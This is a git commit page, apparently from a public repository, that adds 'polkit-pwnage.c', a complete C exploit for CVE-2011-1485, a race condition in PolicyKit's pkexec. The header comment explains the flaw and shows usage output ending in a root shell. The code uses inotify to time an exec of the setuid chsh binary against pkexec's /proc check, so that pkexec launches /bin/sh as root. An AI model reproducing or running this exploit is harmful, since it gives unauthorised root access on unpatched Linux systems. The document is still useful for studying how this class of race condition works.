aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-09-03 04:20:14 -0400
committerJason A. Donenfeld <Jason@zx2c4.com>2011-09-03 04:20:14 -0400
commit6fb7ac300786e1c85787e5dde55da0caf1bb94a8 (patch)
tree85e99c7d115982d090b50b6e1f1e9314445746b7
parentPsuedonym only. (diff)
downloadCVE-2011-1485-6fb7ac300786e1c85787e5dde55da0caf1bb94a8.tar.xz
CVE-2011-1485-6fb7ac300786e1c85787e5dde55da0caf1bb94a8.zip
oopsie.
-rw-r--r--polkit-pwnage.c98
1 files changed, 98 insertions, 0 deletions
diff --git a/polkit-pwnage.c b/polkit-pwnage.c
new file mode 100644
index 0000000..9d11ef9
--- /dev/null
+++ b/polkit-pwnage.c
@@ -0,0 +1,98 @@
+/* polkit-pwnage.c
+ *
+ *
+ * ==============================
+ * = PolicyKit Pwnage =
+ * = by zx2c4 =
+ * = Sept 2, 2011 =
+ * ==============================
+ *
+ *
+ * Howdy folks,
+ *
+ * This exploits CVE-2011-1485, a race condition in PolicyKit.
+ *
+ * davidz25 explains:
+ *
+ * --begin--
+ * Briefly, the problem is that the UID for the parent process of pkexec(1) is
+ * read from /proc by stat(2)'ing /proc/PID. The problem with this is that
+ * this returns the effective uid of the process which can easily be set to 0
+ * by invoking a setuid-root binary such as /usr/bin/chsh in the parent
+ * process of pkexec(1). Instead we are really interested in the real-user-id.
+ * While there's a check in pkexec.c to avoid this problem (by comparing it to
+ * what we expect the uid to be - namely that of the pkexec.c process itself which
+ * is the uid of the parent process at pkexec-spawn-time), there is still a short
+ * window where an attacker can fool pkexec/polkitd into thinking that the parent
+ * process has uid 0 and is therefore authorized. It's pretty hard to hit this
+ * window - I actually don't know if it can be made to work in practice.
+ * --end--
+ *
+ * Well, here is, in fact, how it's made to work in practice. There is as he said an
+ * attempted mitigation, and the way to trigger that mitigation path is something
+ * like this:
+ *
+ * $ sudo -u `whoami` pkexec sh
+ * User of caller (0) does not match our uid (1000)
+ *
+ * Not what we want. So the trick is to execl to a suid at just the precise moment
+ * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed,
+ * and execl to the suid binary as our very next instruction.
+ *
+ * ** Usage **
+ * $ pkexec --version
+ * pkexec version 0.101
+ * $ gcc polkit-pwnage.c -o pwnit
+ * $ ./pwnit
+ * [+] Configuring inotify for proper pid.
+ * [+] Launching pkexec.
+ * sh-4.2# whoami
+ * root
+ * sh-4.2# id
+ * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
+ * sh-4.2#
+ *
+ *
+ *
+ * greets to djrbliss and davidz25.
+ *
+ * - zx2c4
+ * 2-sept-2011
+ *
+ */
+
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/inotify.h>
+
+int main(int argc, char **argv)
+{
+ printf("=============================\n");
+ printf("= PolicyKit Pwnage =\n");
+ printf("= by zx2c4 =\n");
+ printf("= Sept 2, 2011 =\n");
+ printf("=============================\n\n");
+
+ if (fork()) {
+ int fd;
+ char pid_path[1024];
+ sprintf(pid_path, "/proc/%i", getpid());
+ printf("[+] Configuring inotify for proper pid.\n");
+ close(0); close(1); close(2);
+ fd = inotify_init();
+ if (fd < 0)
+ perror("[-] inotify_init");
+ inotify_add_watch(fd, pid_path, IN_ACCESS);
+ read(fd, NULL, 0);
+ execl("/usr/bin/chsh", "chsh", NULL);
+ } else {
+ sleep(1);
+ printf("[+] Launching pkexec.\n");
+ execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
+ }
+ return 0;
+}